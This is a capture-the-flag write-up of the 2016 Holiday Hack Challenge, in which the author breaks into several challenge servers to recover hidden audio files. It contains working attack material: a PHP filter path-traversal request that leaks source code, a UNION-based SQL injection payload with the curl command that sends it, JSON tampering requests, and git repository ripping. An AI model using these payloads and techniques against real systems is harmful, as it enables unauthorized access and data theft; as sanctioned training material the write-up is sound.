Initially we were not confronted with the game interface, the URI leads to an instructional help page for the game but appears to be a static HTML website with no vectors to attack. When you look at the game itself, a text mode adventure game, it appears to lend itself to running on a TCP port that you connect to via a terminal.

So which port would it be, we use nmap against the dungeon server to search for any open ports where the game may be running.

root@kali:~/holiday16/dungeon# nmap -sS --top-ports 1000 -n

Starting Nmap 7.12 ( ) at 2016-12-24 22:59 AEDT
Nmap scan report for (
Host is up (0.25s latency).
Not shown: 997 closed ports
22/tcp    open  ssh
80/tcp    open  http
11111/tcp open  vce

Nmap done: 1 IP address (1 host up) scanned in 5.12 seconds

Interesting, an unusual high TCP port 11111 is open. Using netcat we attempt to verify this finding:

root@kali:~/holiday16/dungeon# nc 11111
Welcome to Dungeon.         This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.

Sure enough, this is the dungeon game port. Great! Next we need to find an attack vector, we could try and play the game by following the instructions. Or we could try and cheat somehow. I examined the dungeon files we received by first extracting the ZIP file:

root@kali:~/holiday16/dungeon# unzip 
   creating: dungeon/
  inflating: dungeon/dtextc.dat      
  inflating: dungeon/dungeon        

root@kali:~/holiday16/dungeon/dungeon# ls -la
total 284
drwxr-xr-x 2 root root   4096 Dec  3 05:46 .
drwxr-xr-x 3 root root   4096 Dec 24 23:08 ..
-rw-r--r-- 1 root root 135039 Dec  5 15:54 dtextc.dat
-rwxr-xr-x 1 root root 144184 Dec  5 15:55 dungeon

root@kali:~/holiday16/dungeon/dungeon# file dungeon 
dungeon: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 2.6.32, BuildID[sha1]=98dcce48be68f3ec423311876266acb5e097a01b, not stripped
root@kali:~/holiday16/dungeon/dungeon# file dtextc.dat 
dtextc.dat: MSVC .sbr H\002I

The dungeon file appears to be the game itself while the dtextc.dat file appears to be a somehow encoded or ciphered version of the text database from the game itself.

If we examine the binary itself we see interesting strings related to non-game commands, perhaps some kind of debugging console:

Valid commands are:
AA- Alter ADVS          DR- Display ROOMS
AC- Alter CEVENT        DS- Display state
AF- Alter FINDEX        DT- Display text
AH- Alter HERE          DV- Display VILLS
AN- Alter switches      DX- Display EXITS
AO- Alter OBJCTS        DZ- Display PUZZLE
AR- Alter ROOMS         D2- Display ROOM2
AV- Alter VILLS         EX- Exit
AX- Alter EXITS         HE- Type this message
AZ- Alter PUZZLE        NC- No cyclops
DA- Display ADVS        ND- No deaths
DC- Display CEVENT      NR- No robber
DF- Display FINDEX      NT- No troll
DH- Display HACKS       PD- Program detail
DL- Display lengths     RC- Restore cyclops
DM- Display RTEXT       RD- Restore deaths
DN- Display switches    RR- Restore robber
DO- Display OBJCTS      RT- Restore troll
DP- Display parser      TK- Take

If we check the address of these strings in the binary we can search for cross references to them in the program code. Using IDA Pro we see these strings are all referenced by a function called gdt_.

So what does gdt_ do? It seems to be responsible for the debugging console itself. Reading through the options it might give us some clues or even complete control over the game and all of the tasks within it. How do we invoke the console? To learn that we look at what functions call the gdt_ function. We search for all cross references to that function in the code:

Following the cross reference, we see this chunk of code in the game_ function:

So it seems the way to enter this function is to simply enter the command GDT. Let's give this a try on the dungeon server:

root@kali:~/holiday16/dungeon/dungeon# nc 11111
Welcome to Dungeon.         This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
Valid commands are:
AA- Alter ADVS          DR- Display ROOMS
AC- Alter CEVENT        DS- Display state
AF- Alter FINDEX        DT- Display text
AH- Alter HERE          DV- Display VILLS
AN- Alter switches      DX- Display EXITS
AO- Alter OBJCTS        DZ- Display PUZZLE
AR- Alter ROOMS         D2- Display ROOM2
AV- Alter VILLS         EX- Exit
AX- Alter EXITS         HE- Type this message
AZ- Alter PUZZLE        NC- No cyclops
DA- Display ADVS        ND- No deaths
DC- Display CEVENT      NR- No robber
DF- Display FINDEX      NT- No troll
DH- Display HACKS       PD- Program detail
DL- Display lengths     RC- Restore cyclops
DM- Display RTEXT       RD- Restore deaths
DN- Display switches    RR- Restore robber
DO- Display OBJCTS      RT- Restore troll
DP- Display parser      TK- Take

Nice, but does this help us play the game any faster? My first thought is that there must be some kind of text stored in the dtextc.dat file that gives us a clue on recovering the next audio file. If we enumerate all of the text objects, perhaps we can skip playing the game. I use the following Python code to do this:


from pwn import *

host, port = "", 11111

conn = remote(host,port)

text = 1
while True:
    print text, conn.recvuntil('GDT>').replace('GDT>','')
    text += 1

After running the script for a short time we received a hit for the string index 119:

119     Suddenly a sinister, wraithlike figure, cloaked and hooded, appears
seeming to float in the air before you.  In a low, almost inaudible
voice he says, "I welcome you to the ranks of the chosen of Zork.  You
have persisted through many trials and tests and have overcome them
all.  One such as yourself is fit to join even the implementers!"
He then raises his oaken staff and, chuckling, drifts away like a
wisp of smoke, his laughter fading in the distance.
When the smoke clears, the phrase "send email to" 
is all that remains.

This looks like a strong clue to me, we follow the instructions in the message and send an email to Within a minute or so we receive this reply containing the next audio file in the quest.

The Debug Server

Next on the list was the debug server. Again we performed the information gathering step of locating the server hostname and IP address, and then surveyed for any other clues on how we may attack this system.

URI Location

We learned of the URI of this server from the SantaGram_4.2.apk. After extraction with apktool, the SantaGram_4.2/res/values/strings.xml file showed the URI to be:

<string name="debug_data_collection_url"></string>

IP Address

Again we used the host command to find the IP address in order to validate with Tom Hessman that this was a valid target.

root@kali:~# host has address


In order to attack this site we first investigated what was actually at the website, however we found nothing but a blank page with no helpful pointers. We turned back to the APK source code via JadX for clues on how the SantaGram application interacted with the debug server. Using the Text Search feature of JadX we found several key points of the program to look into. They all existed within the EditProfile functionality of the application.

The first thing to know is that debugging in the SantaGram application is disabled by default. We know this because when the EditProfile class is invoked in the application, it's onCreate method is called which checks whether the string R.string.debug_data_enabled is true or not:

The R.string.debug_data_enabled is a string reference that points back to the values set in the res/values/string.xml file. When we check this value in that file we see:

root@kali:~/holiday16/apk/SantaGram_4.2/res/values# grep debug_data_enabled strings.xml 
    <string name="debug_data_enabled">false</string>

The next thing we learn from JadX is that the debug messages are JSON encoded strings containing several fields such as date,udid,debug,freemem. We can see how they are constructed in the EditProfile class.

So we could take two paths, construct these strings by hand since we know how they are constructed, or, rebuild the application with debugging enabled and observe the application communication in a real world scenario. The latter idea seems more fun so let's follow that path.

Building a Debug Version of SantaGram

First we need to enable debugging, so we change the value of debug_data_enabled in res/values/strings.xml to true:

Then, we use apktool with the build flag to rebuild the application:

root@kali:~/holiday16/apk# apktool b SantaGram_4.2
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...

Next we need to digitally sign the APK so that Android will agree to install and run the modified version of the application. We do this using the sign.jar application we downloaded from GitHub here:

root@kali:~/holiday16/apk# java -jar sign.jar SantaGram_4.2/dist/SantaGram_4.2.apk
root@kali:~/holiday16/apk# ls -la SantaGram_4.2/dist/
total 4420
drwxr-xr-x 2 root root    4096 Dec 25 01:04 .
drwxr-xr-x 8 root root    4096 Dec 25 00:56 ..
-rw-r--r-- 1 root root 2245456 Dec 25 00:56 SantaGram_4.2.apk
-rw-r--r-- 1 root root 2267962 Dec 25 01:04 SantaGram_4.2.s.apk

The signed application file is named SantaGram_4.2.s.apk. We start an Android virtual device inside our Android SDK system and install the application using the adb command:

root@kali:~/holiday16/apk# adb install SantaGram_4.2.s.apk 
[100%] /data/local/tmp/SantaGram_4.2.s.apk
    pkg: /data/local/tmp/SantaGram_4.2.s.apk

We're now able to see the SantaGram application on our Android virtual device! Success!:

Learning How SantaGram Debug Mode Works

Next we need to learn how the application sends legitimate debug data to the debug server. To do this I'll monitor the network traffic using WireShark. Since we know the URI of the debug server is we know the traffic is likely to be unencrypted since it is not utilizing TLS/SSL.

I start WireShark on my virtual machine and then open the application, prepared to monitor the traffic the device sends to the debug server. Remembering that the application only communicated debug information in the EditProfile class. After the application starts we reach a login screen:

We had to find a way to get to the EditProfile function so I went through the motions of creating a new account:

After creating an account we reach the apps home screen, to get to EditProfile that Me button looks interesting:

And yes, in the Me screen, we finally see the EditProfile button:

When we click it, we notice a new HTTP connection in Wireshark:

When we use the Follow TCP Stream functionality of Wireshark, we get the entire client to server dialog:

Great stuff. Looking closely at this communication it seems to be echoing back much of the input data in the request object. One new field that is echoed to us inside the request object that wasn't actually in the request is this verbose field. Since we're always interested to learn more information, what happens if we set that value to be true?

JSON Tampering the Debug Data

Now we've identified a possible vector, its time to try something called JSON Tampering. This is when we try to add, remove or modify the data in our application's JSON request to the server to illicit undefined or unexpected operations.

We use BurpSuite repeater to accomplish this by copying and pasting our Wireshark TCP stream output into the repeater window. We also add the "verbose":true to the request body. We see that this returns additional filenames including an interesting filename:

When we download this file we find it is the fourth file in the investigation we need so far by confirming the Track number using the ID3 information:

root@kali:~/Desktop# exiftool debug-20161224235959-0.mp3 
ExifTool Version Number         : 10.13
File Name                       : debug-20161224235959-0.mp3
ID3 Size                        : 34
Track                           : 4
Title                           : 4
Audio Bitrate                   : 223 kbps
Duration                        : 7.84 s (approx)

The Banner Ad Server

Next on the list we have the banner ad server. Again we performed the information gathering step of locating the server hostname and IP address, and then surveyed for any other clues on how we may attack this system.

URI Location

We learned of the URI of this server from the SantaGram_4.2.apk. After extraction with apktool, the SantaGram_4.2/res/values/strings.xml file showed the URI to be:

<string name="banner_ad_url"></string>

IP Address

Again we used the host command to find the IP address in order to validate with Tom Hessman that this was a valid target.

root@kali:~# host has address


Using the URI from the banner_ads_url link gives us very limited information. It seems to respond to each request by sending an advertising banner image. Removing the affiliate/... part of the URI however results in the front page of the Ad Nauseam company. There is very little we know about this company or login information so we conduct basic web reconnaissance steps.

Along the way we check the home page source code and notice that much of the page is generated inside a single <script> tag:

<script type="text/javascript">__meteor_runtime_config__ = JSON.parse(decodeURIComponent(""));</script>

Clearly we are dealing with a Meteor Framework website in this case. We think back to our time in Santa's Village and recall one of the elves was fond of tinkering with this framework:

Pepper Minstix gave us an interesting set of resources to look into for these types of platforms including:

After setting those up and reading up on messing with Meteor Framework I was quickly able to discover some potentially sensitive information such as routes, subscriptions and collections. We could also enumerate the information in each collection by simply clicking on the collection name:

One interesting item stood out at first, the /admin/quotes route. Assuming this was the functionality that allowed an administrator of the site to change the various quotes that displayed from happy customers on the home page. Selecting this route in Meteor Miner did two things:

  1. Browsed to the /admin/quotes route however gave us an You must be logged in to access this page error
  2. Increased the number of Records in the HomeQuotes collection from 4 to 5 across two unique field sets.

I clicked the HomeQuotes collection to enumerate the field names for these collections and display them in Meteor Miner. We see the new collection fields include two interesting ones: audio and hidden.

Using the advice from Tim Medin's blog post, I switched to a JavaScript console in my web browser and enumerated the HomeQuotes collection itself with the JS command HomeQuotes.find().fetch(). The result was we recovered a hidden path to an MP3 audio file!

When we browsed to that URI, we successfully downloaded the fifth MP3 file in our quest, discombobulatedaudio5.mp3.

The Uncaught Exception Handler Server

Next on the list we have the exception handler server. Judging by the source code in the SantaGram APK we were viewing using JadX we gathered that this server was used to store crashdumps in case of some unhandled exception in the SantaGram application.

Again we performed the information gathering step of locating the server hostname and IP address, and then surveyed for any other clues on how we may attack this system.

URI Location

We learned of the URI of this server from the SantaGram_4.2.apk. After extraction with apktool, the SantaGram_4.2/res/values/strings.xml file showed the URI to be:

<string name="exhandler_url"></string>

IP Address

Again we used the host command to find the IP address in order to validate with Tom Hessman that this was a valid target.

root@kali:~# host has address


Generating unhandled exceptions in the application was going to be tricky so for the purposes of reconnaissance against this host I decided to manually build a JSON string which should meet the schema requirements of the server. We extracted the information about the JSON schema from the APK file using JadX and reading the Java source code. We located the the respective function by searching for the string's reference name from the strings.xml file which is exhandler_url:

When we click this search result it takes us directly to the com.northpolewonderland.santagram.SplashScreen.postExceptionData class where we can see all of the data usually sent during an exception:

There sure are a lot of different pieces of data here. We will try fabricating approximate data for each to see if the server responds at all. Our initial attempt at a JSON request with totally fabricated data looks like this:

{"operation": "WriteCrashDump", "data": {"product":"","lmessage":"LMessage","lversion":"5.1.1","device":"phone", "message":"HelloSanta", "natallocmem": 12312312, "vmallocmem":60000,"vmheapsizelimit": 4324324, "strace":"Strace","appversion":"4.2","vmheapsize":61000, "udid":"123456abcdef7890", "sdkint":24, "model":"SantaPhone"}}

Using BurpSuite repeater function we build the entire POST request to look like this:

POST /exception.php HTTP/1.1
Content-type: application/json
Content-Length: 328

{"operation": "WriteCrashDump", "data": {"product":"","lmessage":"LMessage","lversion":"5.1.1","device":"phone", "message":"HelloSanta", "natallocmem": 12312312, "vmallocmem":60000,"vmheapsizelimit": 4324324, "strace":"Strace","appversion":"4.2","vmheapsize":61000, "udid":"123456abcdef7890", "sdkint":24, "model":"SantaPhone"}}

When we send that we get a successful crashdump creation message:

At first this seems pretty crazy, we're seriously able to write a PHP file to the server? Let's try and retrieve it:

root@kali:~/holiday16/exception# curl
    "product": "",
    "lmessage": "LMessage",
    "lversion": "5.1.1",
    "device": "phone",
    "message": "HelloSanta",
    "natallocmem": 12312312,
    "vmallocmem": 60000,
    "vmheapsizelimit": 4324324,
    "strace": "Strace",
    "appversion": "4.2",
    "vmheapsize": 61000,
    "udid": "123456abcdef7890",
    "sdkint": 24,
    "model": "SantaPhone"

First Idea: PHP Code Injection

Wow, ok, what if we use PHP code in our JSON object? I use BurpSuite to inject the PHP code <?php phpinfo(); ?> into the message field:

The request the newly created PHP file on the server:

root@kali:~/holiday16/exception# curl
    "product": "",
    "lmessage": "LMessage",
    "lversion": "5.1.1",
    "device": "phone",
    "message": "<?php phpinfo(); ?>",
    "natallocmem": 12312312,
    "vmallocmem": 60000,
    "vmheapsizelimit": 4324324,
    "strace": "Strace",
    "appversion": "4.2",
    "vmheapsize": 61000,
    "udid": "123456abcdef7890",
    "sdkint": 24,
    "model": "SantaPhone"

Ok what a let down, the server turns out that it will not parse PHP stored in the /docs/ folder. Fortunately for them they must have thought of this code injection vector. This idea is a no-go.

Second Idea: JSON Tampering

We go back to the drawing board. After some time I wonder if the server has multiple functions. I mean we can call a WriteCrashDump API function. Is there a corresponding ReadCrashDump API call? Let's try:

Ok that's promising, the server didn't completely fail on the request. It in fact told us we just need a little more data. Let's try adding a crashdump field in our request:

Perhaps it expects crashdump to exist inside the data object. I move the location of our crashdump field there:

Ok, getting there. Let's drop the .php extension:

Ok, well successfully called the ReadCrashDump API function, but still didn't achieve code execution. What could the next step be? At this point I began to think about file inclusion vulnerabilities. If I could ask it to include the exception.php file instead of crashdump-LLgpHR.php perhaps I could read the source code and find another attack vector.

Let's try that, remembering we need to traverse to the previous directory (../) since by default this API function reads files from docs/:

Bummer, an internal server error. Could this be because the exception.php file is trying to interpret itself causing some kind of error? I'm not exactly sure but we can prevent that by asking PHP to encode the file using a PHP filter. Let's ask it again, but this time, via a PHP filter to encode the file as a base64 string:

Aha! A result, let's convert this request to a curl command and pass it through base64 -d command in Linux:

root@kali:~/holiday16/exception# curl -s -k  -X $'POST' \
>     -H $'Content-type: application/json' \
>     --data-binary $'{\"operation\": \"ReadCrashDump\", \"data\": {\"crashdump\":\"php://filter/convert.base64-encode/resource=../exception\", \"product\":\"\",\"lmessage\":\"LMessage\",\"lversion\":\"5.1.1\",\"device\":\"phone\", \"message\":\"Can I haz crashdump?\", \"natallocmem\": 12312312, \"vmallocmem\":60000,\"vmheapsizelimit\": 4324324, \"strace\":\"Strace\",\"appversion\":\"4.2\",\"vmheapsize\":61000, \"udid\":\"123456abcdef7890\", \"sdkint\":24, \"model\":\"SantaPhone\"}}' \
>     $'' | base64 -d > exception.php

root@kali:~/holiday16/exception# head -20 exception.php

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3

# Code from
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
    die("Request method must be POST\n");

# Make sure that the content type of the POST request has been set to application/json
$contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : '';
if(strcasecmp($contentType, 'application/json') != 0){
    die("Content type must be: application/json\n");

Nice! The source leak was a success and we were given the audio file path immediately. We use the provided filename and successfully grab the sixth MP3 audio file - discombobulated-audio-6-XyzE3N9YqKNH.mp3.

The Mobile Analytics Server (post authentication)

We've reached the final system to breach, we're retreading over ground we covered earlier. The Mobile Analytics server for which we have a guest login. After utilizing this login for some time, no immediately obvious vectors stand out.

Fortunately earlier if you recall we were able to download the source code for the site via an unprotected and indexed /.git/ repository. To download the source code from the analytics server we used a program called dvcs-ripper from GitHub:

root@kali:~/holiday16/analytics/source# ./ -u
[i] Using session name: aLxchgLf
Checking object directories: 100% (256/256), done.
error: 9cb2390c732b3a87db88cd6b55551ff2b1f8c0b6: invalid sha1 pointer in cache-tree
Checking object directories: 100% (256/256), done.
error: 3958764b53da0cefd69618a3986ce77a682b032c: invalid sha1 pointer in cache-tree
error: a2f8cdbcbe8eeb041ff1daf9c3e68a85622a1fa9: invalid sha1 pointer in cache-tree
error: 10261fb78b8284ccc08f74b96ef476765a19b593: invalid sha1 pointer in cache-tree
error: 14032aabd85b43a058cfc7025dd4fa9dd325ea97: invalid sha1 pointer in cache-tree
Checking object directories: 100% (256/256), done.
Checking object directories: 100% (256/256), done.
[!] No more items to fetch. That's it!

root@kali:~/holiday16/analytics/source# head -10 query.php 
  # This should be the first require

  restrict_page_to_users($db, ['guest']);


So we've now got the site's source code, it's time to browse the code to look for vectors we can use.


One of the first things I looked at in the source code was how database access was performed, and how safely this was done. For the most part the database queries used in the PHP source used mysqli_real_escape_string() to reduce the risk of user input becoming a SQL injection attack. However this was primarily done at each input instead of in the main query() function inside db.php. Because the sanitization of the inputs needed to be done manually on every input, just one missing field would cause problems.

One such occurrence was found fairly quickly, inside query.php where the input parameter type is not escaped at all. It's possible that the author of the PHP expected this to not be a problem because of this code block:

$type = $_REQUEST['type'];
if($type !== 'launch' && $type !== 'usage') {
  reply(400, "Type has to be either 'launch' or 'usage'!");

Essentially, this check to see that the $type value is one of just launch or usage should rule out a successful attack, except for one fatal problem. The author has forgotten to call die() after replying with the 400 error message. So even though the script doesn't expect that values other than these will work, it attempts to use the user input anyway.

The result of this looks like this in a browser. Firstly we use BurpSuite to intercept the query request from the web user interface. I modify the value of type to BADVALUE:

The server processes the request and responds, quite verbosely which is nice:

So it looks like a SQL injection attack might be possible here. Let's think about the logistics by looking at the source code again:

$query = "SELECT * ";
$query .= "FROM `app_" . $type . "_reports` ";
$query .= "WHERE " . join(' AND ', $where) . " ";
$query .= "LIMIT 0, 100";
format_sql(query($db, $query));

So very little to worry about here, except that we must use backtick (`) quotes and that our initial part of the string will need to be a valid app_????_reports table. We should be able to insert any SQL statement and then comment the remainder of the statement. Let's test it, but against what target?

Good thing they included the DB schema in the /.git/ repository. The file sprusage.sql lists the entire database schema for all tables, so we can pretty much go straight for our target:

/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `audio` (
  `id` varchar(36) NOT NULL,
  `username` varchar(32) NOT NULL,
  `filename` varchar(32) NOT NULL,
  PRIMARY KEY (`id`)
/*!40101 SET character_set_client = @saved_cs_client */;

And regarding using a valid app_???_reports table, let's use app_usage_reports. It's schema looks like this:

CREATE TABLE `app_usage_reports` (
  `activity` varchar(32) NOT NULL,
  `date` date NOT NULL,
  `udid` varchar(32) NOT NULL,
  PRIMARY KEY (`id`)
/*!40101 SET character_set_client = @saved_cs_client */;

Let's send a SQL injection attack to list the filenames of this table as a test:

usage_reports` LIMIT 0,1 UNION ALL SELECT filename,NULL,NULL,NULL,NULL from audio -- -

I'll send it using BurpSuite as an intercept so we can browse the results, if any, in the web browser:

And we see in the browser the successful result which tells us that there is a reference to the discombobulatedaudio7.mp3 file in the database somewhere. But where?

If we go back to the schema, we can see there is a column called mp3 which is of type MEDIUMBLOB. This could very well be where the MP3 itself is stored. How can we get this MP3 file out since it's probably stored in a binary format. MySQL has a very useful function we can use here called to_base64(). Let's modify our query to be more specific and to utilize the to_base64() function:

usage_reports` LIMIT 0,0 UNION ALL SELECT to_base64(mp3),NULL,NULL,NULL,NULL from audio WHERE filename = 'discombobulatedaudio7.mp3' -- -

I send it again, using BurpSuite intercept and observe the output:

Nice, looks like a good healthy amount of data here. I convert the command to a curl command using BurpSuite's right click menu:

Which gives us the following command:

curl -s -k  -X $'POST' \
    -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' -H $'Referer:' -H $'Content-Type: application/x-www-form-urlencoded' \
    -b $'AUTH=82532b2136348aaa1fa7dd2243da1cc9fb13037c49259e5ed70768d4e9baa1c80b97fee8bca52880ff78ba7cc49e0153b14348637bec' \
    --data-binary $'date=2016-12-25&type=usage_reports` LIMIT 0,0 UNION ALL SELECT to_base64(mp3),NULL,NULL,NULL,NULL from audio WHERE filename = \'discombobulatedaudio7.mp3\' -- -&field%5B%5D=udid&modifier%5B%5D=eq&value%5B%5D=' \

I use this and then trim the output with vim to remove the HTML data leaving behind just the base64 encoded binary data. Then I convert this back to binary with the base64 command:

root@kali:~/holiday16/analytics# vi mp3.txt 
root@kali:~/holiday16/analytics# base64 -d mp3.txt > discombobulatedaudio7.mp3
root@kali:~/holiday16/analytics# file discombobulatedaudio7.mp3 
discombobulatedaudio7.mp3: Audio file with ID3 version 2.3.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo
root@kali:~/holiday16/analytics# ls -la discombobulatedaudio7.mp3 
-rw-r--r-- 1 root root 220943 Dec 25 21:54 discombobulatedaudio7.mp3

Finally, we have the successfully recovered discombobulatedaudio7.mp3 file!

Summary of Solutions for Part 4

So to summarize, we needed to answer the following questions in part 4 of the Holiday Hack Challenge

  • 7) For each of those six items, which vulnerabilities did you discover and exploit?
  • 8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.)

Vulnerabilities Exploited

To address question 7, the following vulnerabilities were found and exploited for each of the below systems:

The Mobile Analytics Server (via credentialed login access)

Vulnerability found: System was found to have hardcoded credentials stored in the SantaGram 4.2 APK file. Using these we were able to login to the server and recover the MP3 file

The Dungeon Game

Vulnerability found: This system was listening on port 11111/tcp of host and using the GDT command mode we were able to leak all of the encrypted text objects via the network to discover the clues without playing the game.

The Debug Server

Vulnerability found: Using a rebuilt SantaGram application in debug mode, we were able to learn the JSON communication fields. When performing a JSON tampering attack and setting the request verbose mode to true, the server returned a list of all of the files on the system including the .mp3 file.

The Banner Ad Server

Vulnerability found: This system was running Meteor Javascript Framework, using Meteor Miner and some JavaScript we were able to learn of a route called /admin/quotes and then leak the filename of the .mp3 file by calling the HomeQuotes collection with the HomeQuotes.find().fetch() JavaScript commands.

The Uncaught Exception Handler Server

Vulnerability found: Using JSON tampering we were able to find an undocumented API function called ReadCrashDump which we were able to persuade to leak the source code of the exception handling script exception.php by using PHP filters. The location of the .mp3 file was documented in the source code of exception.php.

The Mobile Analytics Server (post authentication)

Vulnerability found: Using an open Git repository located at I downloaded and analyzed the source code of the site. We were able to combine a logic fault (missing a call to die()) with a failure to sanitize user input we were able to conduct a SQL injection attack to leak the contents of the .mp3 file.

Audio Filenames

We found the following audio files during our investigation and exploitation.

  1. discombobulatedaudio1.mp3
  2. discombobulatedaudio2.mp3
  3. discombobulatedaudio3.mp3
  4. debug-20161224235959-0.mp3
  5. discombobulatedaudio5.mp3
  6. discombobulated-audio-6-XyzE3N9YqKNH.mp3
  7. discombobulatedaudio7.mp3

Part 5: Discombobulated Audio

Throughout our challenge we had collected seven MP3 files, but what did they mean. One common feature is that they appeared to contain sounds that had been slowed down. I used audacity audio software to analyse the files:

After some analysis, I tried the Change Tempo feature to increase the tempo of the MP3 files without changing the pitch:

This resulted in some additionally audible language. I then used the Align Tracks function to move the tracks end-to-end:

After doing this the following phrase could be heard:

Father Christmas, Santa Claus, or as I've always known him, Jeff

Initially what this meant I did not know, however reading the challenge again we see:

The machine might have heard that, cut it up, mixed it, and then distributed it throughout the North Pole!

If that was indeed the case, this may very well be the pass phrase to the final door! We went back to Santa's village in the North Pole to find out. I entered the passphrase:

Success! We were in, and we had found the villain! Who would have suspected Dr. Who???

Summary of Solutions for Part 5

So for the fifth and final part we must answer the questions.

  • 9) Who is the villain behind the nefarious plot.
  • 10) Why had the villain abducted Santa?

The Identity of the Villain

The villain was none other than Dr. Who!

Why Did He Do it?

Dr. Who wanted to prevent the Star Wars Holiday Special from being released, Santa Claus (Jeff) refused to assist him by traveling back to 1978 because he believed doing so might harm the integrity of the universe's timeline. Dr. Who felt he had no choice but to abduct Santa.

Thank You!

If you made it this far, thank you! It has been a real joy to play Holiday Hack Challenge 2016 and I really hope you enjoyed it too. I also hope you enjoyed my solutions. Although I know that sometimes there are going to be more than one right answer, I hope you find these satisfying solutions in themselves.

Thanks and see you in Holiday Hack Challenge 2017!

Kris Hunt